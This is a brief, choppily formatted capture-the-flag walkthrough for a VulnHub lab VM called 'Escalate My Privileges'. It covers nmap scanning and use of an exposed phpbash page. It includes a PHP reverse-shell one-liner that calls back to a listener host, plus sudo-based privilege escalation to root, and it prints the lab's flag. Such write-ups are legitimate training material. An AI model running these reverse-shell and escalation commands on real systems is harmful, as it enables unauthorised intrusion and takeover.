Machine: https://www.vulnhub.com/entry/escalate-my-privileges-1,448/
192.168.0.11
.NMap
gives some open ports.nmap -A 192.168.0.11
gives an url http://192.168.0.11/phpbash.php
.apache
.php -r '$sock=fsockopen("192.168.0.4",1337);exec("/bin/sh -i <&3 >&3 2>&3");'
with my ip port gives a netcat
shell to my listner nc -lvnp 1337
.armour
./home/armour
directory there is a file named Credentials.txt
. Inside it we get password md5(rootroot1)
.md5sum
of the rootroot1
to use as password. Then login as armour
with md5sum
of rootroot1
.sudo -l
command shows /bin/bash
could be used to get root shell.sudo /bin/bash
command to root
./root/flag.txt
by using command.cat /root/flag.txt
The flag is 628435356e49f976bab2c04948d22fe4
.Author: Zishan Ahamed Thandar